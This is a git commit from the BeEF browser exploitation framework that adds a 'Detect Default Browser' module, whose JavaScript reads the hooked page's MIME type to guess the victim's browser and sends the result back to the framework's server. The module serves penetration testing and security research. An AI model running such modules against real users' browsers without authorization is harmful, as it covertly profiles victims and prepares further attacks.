Added Detect Default Browser module

This commit is contained in:
bcoles
2012-12-13 18:04:16 +10:30
parent 7b4d4de3eb
commit 4e7e1129bb
3 changed files with 54 additions and 0 deletions

View File

@@ -0,0 +1,24 @@
//
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var mt = document.mimeType;
if (mt) {
if (mt == "Safari Document") result = "Safari";
if (mt == "Firefox HTML Document") result = "Firefox";
if (mt == "Chrome HTML Document") result = "Chrome";
if (mt == "HTML Document") result = "Internet Explorer";
if (mt == "Opera Web Document") result = "Opera";
} else {
result = "Unknown";
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, "browser="+result);
});